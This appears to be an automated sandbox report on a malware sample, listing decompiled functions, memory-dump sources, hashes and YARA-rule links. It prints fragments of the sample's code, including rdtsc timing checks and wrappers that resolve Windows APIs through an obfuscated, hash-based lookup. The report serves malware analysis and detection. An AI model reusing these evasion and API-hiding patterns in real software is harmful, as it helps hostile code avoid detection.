Function 0092FAE8, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0092FAF3

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction ID: bb22edd625d441e86b4201bf2007cb1784deb073e32f09f3a807e6c8f80ed535
Opcode Fuzzy Hash: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction Fuzzy Hash: ACB01272104544C7F3099714ED06B8B7210FB80F00F00893AA007828A1DB39992CE456

Uniqueness

Uniqueness Score: -1.00%

Function 0092FBB8, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0092FBC3

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction ID: 98b7ab4c3374ce945d87304c272764997da5ea40185bb6170513ade09291bf69
Opcode Fuzzy Hash: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction Fuzzy Hash: 97B012721005C4C7E30D9714D906B8F7210FB80F00F00893AA40782861DB789A2CE45A

Uniqueness

Uniqueness Score: -1.00%

Function 0092FB68, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0092FB73

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction ID: fe3894545e6d7ff35e2d014bd1b41c27fc981d7cba2425ddd0908e3dd582fca9
Opcode Fuzzy Hash: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction Fuzzy Hash: 17B01272100544C7E3099714D906B8B7210FB80F00F008E3AA04782991DB78992DE446

Uniqueness

Uniqueness Score: -1.00%

Function 0092FC90, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0092FC9B

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c03c3f025ade335fb37a3227fdd9bdec0ce29723ea859b950f344d641557639d
Instruction ID: 41c45e5f09b42d6e0ddb2dc3248e04f5cc5ab51982cd1fe1d329002f24c15819
Opcode Fuzzy Hash: c03c3f025ade335fb37a3227fdd9bdec0ce29723ea859b950f344d641557639d
Instruction Fuzzy Hash: 14B01272104580C7E349AB14D90AB5BB210FB90F00F40893AE04B81850DA3C992CC546

Uniqueness

Uniqueness Score: -1.00%

Function 0092FC60, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0092FC6B

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction ID: 69502d12976c3e383ebc8ea250e6427301c1fd9f045747c541fd94b810363c34
Opcode Fuzzy Hash: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction Fuzzy Hash: 3AB01277105940C7E349A714DD0AB5B7220FBC0F01F00893AE00781890DA38993CC54A

Uniqueness

Uniqueness Score: -1.00%

Function 0092FD8C, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0092FD9A

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction ID: c46011bb0c46dfed5c8ab186c0f719e5b9e72ad0d6ef7da6a0d9d2ed8661a3c9
Opcode Fuzzy Hash: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction Fuzzy Hash: 8FB0927110054087E205A704D905B4AB212FB90B00F808A35A4468A591D66A9A28C686

Uniqueness

Uniqueness Score: -1.00%

Function 0092FDC0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0092FDCB

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction ID: d88988b585cc81dca5f800d6bb39f1198a76ae257c125849f4a62a02810904f6
Opcode Fuzzy Hash: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction Fuzzy Hash: 20B01272140540C7E30A9714DA56B4B7220FB80F40F008D3AA04781891DBB89B2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 0092FEA0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0092FEAB

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction ID: c5322eb374cbfb3adeb08d178b54e1ae74a7d58a0408861c097d1ba4bd942992
Opcode Fuzzy Hash: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction Fuzzy Hash: 0DB01272200640C7F31A9714D906F4B7210FB80F00F00893AA007C19A1DB389A2CD556

Uniqueness

Uniqueness Score: -1.00%

Function 0092FED0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0092FEDB

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction ID: 9b30904a3bfeb6814e26683714e5c097bc05a41d35c26203adaeaac906fc0f52
Opcode Fuzzy Hash: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction Fuzzy Hash: C9B01272100580C7E34EA714D906B4B7210FB80F00F408A3AA00781891DB789B2CD98A

Uniqueness

Uniqueness Score: -1.00%

Function 0092FFB4, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0092FFBF

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction ID: 7e2af0442ae64c9f6bb8df8c94f4cb17495a0f0e8e42cafe04a2b86fa0e4786e
Opcode Fuzzy Hash: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction Fuzzy Hash: A2B012B2104580C7E3099714D906F4B7210FB90F00F40893EA00F81851DB3CD92CD44A

Uniqueness

Uniqueness Score: -1.00%

Function 004088A0, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E004088A0(intOrPtr _a4) {
				intOrPtr _v8;
				char _v24;
				char _v284;
				char _v804;
				char _v840;
				void* _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t39;
				void* _t50;
				intOrPtr _t52;
				void* _t53;
				void* _t54;
				void* _t55;
				void* _t56;

				_t52 = _a4;
				_t39 = 0; // executed
				_t24 = E00406E00(_t52,  &_v24); // executed
				_t54 = _t53 + 8;
				if(_t24 != 0) {
					E00407010( &_v24,  &_v840);
					_t55 = _t54 + 8;
					do {
						E00419CC0( &_v284, 0x104);
						E0041A330( &_v284,  &_v804);
						_t56 = _t55 + 0x10;
						_t50 = 0x4f;
						while(1) {
							_t31 = E00413DC0(E00413D60(_t52, _t50),  &_v284);
							_t56 = _t56 + 0x10;
							if(_t31 != 0) {
								break;
							}
							_t50 = _t50 + 1;
							if(_t50 <= 0x62) {
								continue;
							} else {
							}
							goto L8;
						}
						_t9 = _t52 + 0x14; // 0xffffe1b5
						 *(_t52 + 0x474) =  *(_t52 + 0x474) ^  *_t9;
						_t39 = 1;
						L8:
						_t33 = E00407040( &_v24,  &_v840);
						_t55 = _t56 + 8;
					} while (_t33 != 0 && _t39 == 0);
					_t34 = E004070C0(_t52,  &_v24); // executed
					if(_t39 == 0) {
						asm("rdtsc");
						asm("rdtsc");
						_v8 = _t34 - 0 + _t34;
						 *((intOrPtr*)(_t52 + 0x55c)) =  *((intOrPtr*)(_t52 + 0x55c)) + 0xffffffba;
					}
					 *((intOrPtr*)(_t52 + 0x31)) =  *((intOrPtr*)(_t52 + 0x31)) + _t39;
					_t20 = _t52 + 0x31; // 0x5608758b
					 *((intOrPtr*)(_t52 + 0x32)) =  *((intOrPtr*)(_t52 + 0x32)) +  *_t20 + 1;
					return 1;
				} else {
					return _t24;
				}
			}

0x004088ab
0x004088b3
0x004088b5
0x004088ba
0x004088bf
0x004088d2
0x004088d7
0x004088e0
0x004088ec
0x004088ff
0x00408904
0x00408907
0x00408910
0x00408922
0x00408927
0x0040892c
0x00000000
0x00000000
0x0040892e
0x00408932
0x00000000
0x00000000
0x00408934
0x00000000
0x00408932
0x00408936
0x00408939
0x0040893f
0x00408941
0x0040894c
0x00408951
0x00408954
0x00408961
0x0040896c
0x0040896e
0x00408974
0x00408978
0x0040897b
0x0040897b
0x00408982
0x00408985
0x0040898a
0x00408997
0x004088c6
0x004088c6
0x004088c6

Memory Dump Source

Source File: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 283bf2c7f344e97b91bcc60d13a5b0e411dcd70c841c71c3deed8c9853ae10d6
Instruction ID: 5568bf364e599ab98db8d6cec98c55b42aa716c8f34da205b899e6f8c2a7a87e
Opcode Fuzzy Hash: 283bf2c7f344e97b91bcc60d13a5b0e411dcd70c841c71c3deed8c9853ae10d6
Instruction Fuzzy Hash: EF213CB2C4420857CB20E6649D42BFF73BC9B50304F44057FE989A3181F638BB498BA6

Uniqueness

Uniqueness Score: -1.00%

Function 00407260, Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E00407260(void* __ebx, void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t12;
				intOrPtr* _t13;
				int _t14;
				long _t22;
				void* _t25;
				intOrPtr* _t26;
				void* _t27;
				void* _t31;

				_t31 = __eflags;
				_v68 = 0;
				E00419D10( &_v67, 0, 0x3f);
				E0041A8F0( &_v68, 3);
				_t25 = _a4 + 0x1c;
				_t12 = E00409B10(__ebx, _t31, _t25,  &_v68); // executed
				_push(0xc4e7b6d6);
				_push(0);
				_push(0);
				_push(_t12);
				_push(_t25);
				_t13 = E00413E20( &_v68);
				_t26 = _t13;
				if(_t26 != 0) {
					_t22 = _a8;
					_t14 = PostThreadMessageW(_t22, 0x111, 0, 0); // executed
					_t33 = _t14;
					if(_t14 == 0) {
						_t14 =  *_t26(_t22, 0x8003, _t27 + (E00409270(_t33, 1, 8) & 0x000000ff) - 0x40, _t14);
					}
					return _t14;
				}
				return _t13;
			}

0x00407260
0x0040726f
0x00407273
0x0040727e
0x0040728a
0x0040728e
0x00407293
0x00407298
0x0040729a
0x0040729c
0x0040729d
0x0040729e
0x004072a3
0x004072aa
0x004072ad
0x004072ba
0x004072bc
0x004072be
0x004072db
0x004072db
0x00000000
0x004072dd
0x004072e2

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 004072BA

Memory Dump Source

Source File: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: e734902a588a01c6e2b051ebf769807b15cf7e0c0c64d341f33143468a58d1a4
Instruction ID: ed9c0dd32f68776d22a62b6ccf8dda9c2c93357863a303a75fe51d199eec68b3
Opcode Fuzzy Hash: e734902a588a01c6e2b051ebf769807b15cf7e0c0c64d341f33143468a58d1a4
Instruction Fuzzy Hash: DE018431A8032876E720A6959C03FFE776C5B40B55F15416EFF04BA1C2E6A87D0646EA

Uniqueness

Uniqueness Score: -1.00%

Function 004184B2, Relevance: 1.5, APIs: 1, Instructions: 28
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E004184B2(void* __ebx, void* __edx, void* _a4, long _a8, void* _a12) {
				intOrPtr _v0;
				char _t10;
				void* _t20;

				_push(0xeb73b165);
				asm("adc eax, 0x8b551823");
				_t7 = _v0;
				_t3 = _t7 + 0xc74; // 0xc74
				E00418DB0(_t20, _v0, _t3,  *((intOrPtr*)(_v0 + 0x10)), 0, 0x35);
				_t10 = RtlFreeHeap(_a4, _a8, _a12); // executed
				return _t10;
			}

0x004184b4
0x004184bd
0x004184c3
0x004184cf
0x004184d7
0x004184ed
0x004184f1

APIs

RtlFreeHeap.NTDLL(00000060,00408AE3,?,?,00408AE3,00000060,00000000,00000000,?,?,00408AE3,?,00000000), ref: 004184ED

Memory Dump Source

Source File: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: e5f8a988d7cd89ffb75cea3f88c3f0f8b7b89ac006002588264c5d77a68c2b84
Instruction ID: d41a9c7de6d04d4043a693d86243ebe6a10a010fef5121193527e206ca55f3cb
Opcode Fuzzy Hash: e5f8a988d7cd89ffb75cea3f88c3f0f8b7b89ac006002588264c5d77a68c2b84
Instruction Fuzzy Hash: DBE092712402046BD714DFA5DC44ED73799EF88350F148149FD0C9B351D531E911CAF0

Uniqueness

Uniqueness Score: -1.00%

Function 004184C0, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004184C0(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t10;
				void* _t15;

				_t3 = _a4 + 0xc74; // 0xc74
				E00418DB0(_t15, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x004184cf
0x004184d7
0x004184ed
0x004184f1

APIs

RtlFreeHeap.NTDLL(00000060,00408AE3,?,?,00408AE3,00000060,00000000,00000000,?,?,00408AE3,?,00000000), ref: 004184ED

Memory Dump Source

Source File: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: bd69bb0d8e56be58ea846d441575552e1355d89f45fa104c15060bc9e05e818a
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: EDE01AB12002046BDB14DF59DC45EE777ACAF88750F014559BA0857241CA30E9108AF4

Uniqueness

Uniqueness Score: -1.00%

Function 00418480, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418480(intOrPtr _a4, void* _a8, long _a12, long _a16) {
				void* _t10;
				void* _t15;

				E00418DB0(_t15, _a4, _a4 + 0xc70,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x34);
				_t10 = RtlAllocateHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x00418497
0x004184ad
0x004184b1

APIs

RtlAllocateHeap.NTDLL(00413506,?,00413C7F,00413C7F,?,00413506,?,?,?,?,?,00000000,00408AE3,?), ref: 004184AD

Memory Dump Source

Source File: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: 95874ba5a5537b3d16e5bdcad340c4ef7a657c48911e570d945e23b5f838c0ed
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: 7BE012B1200208ABDB14EF99DC41EE777ACAF88654F118559BA085B282CA30F9108AF4

Uniqueness

Uniqueness Score: -1.00%

Function 00418620, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418620(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t10;
				void* _t15;

				E00418DB0(_t15, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x46);
				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041863a
0x00418650
0x00418654

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CF92,0040CF92,00000041,00000000,?,00408B55), ref: 00418650

Memory Dump Source

Source File: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: 1821f594b7a2fedb3326d3670d224aab122327744fc2f581a2e4424e2d02315d
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: 2AE01AB12002086BDB10DF49DC85EE737ADAF89650F018159BA0857241C934E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 00418500, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418500(intOrPtr _a4, int _a8) {
				void* _t10;

				_t5 = _a4;
				E00418DB0(_t10, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_t5 + 0xa14)), 0, 0x36);
				ExitProcess(_a8);
			}

0x00418503
0x0041851a
0x00418528

APIs

ExitProcess.KERNELBASE(?,?,00000000,?,?,?), ref: 00418528

Memory Dump Source

Source File: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: 9f62bdc44f65d7d9a2483e28fb075f3ff631dd5cfbab79109080827007e6cc43
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: 62D012716003147BD620DF99DC85FD7779CDF49750F018069BA1C5B241C931BA0086E5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 009426F8, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: befe73b4781d6967e22b7a2d8b560eb031a7a61a4f73831a88057bacb28cb109
Instruction ID: 3da38c7c5688c49fd64746aec18512b9843c737119fa7e7bd8ef47770f457753
Opcode Fuzzy Hash: befe73b4781d6967e22b7a2d8b560eb031a7a61a4f73831a88057bacb28cb109
Instruction Fuzzy Hash: 30F0FF303280499BCB48EB188851B7A3399FB94300F98C438F949CB302D625AD008290

Uniqueness

Uniqueness Score: -1.00%

Function 009310D0, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac83c10758ebe8d5f76978585b10c9c6dce2ba331d146511a487ba092cee0476
Instruction ID: b97e0867cf63cce6a7bd091cca7d2f61d4937398616a74d9d7050cc2a0bd1794
Opcode Fuzzy Hash: ac83c10758ebe8d5f76978585b10c9c6dce2ba331d146511a487ba092cee0476
Instruction Fuzzy Hash: E8B01272180540CBE3199718E906F5FB710FB90F00F00C93EA00781C50DA389D3CD446

Uniqueness

Uniqueness Score: -1.00%

Function 00930060, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c5d85a427470f550e29695eb19de3105b1c03314207db60bf040a26eb212f22
Instruction ID: 5a023e870da9c1ddb48dfa425d4b1b106951aaa9a6b60f468992a3f00291b547
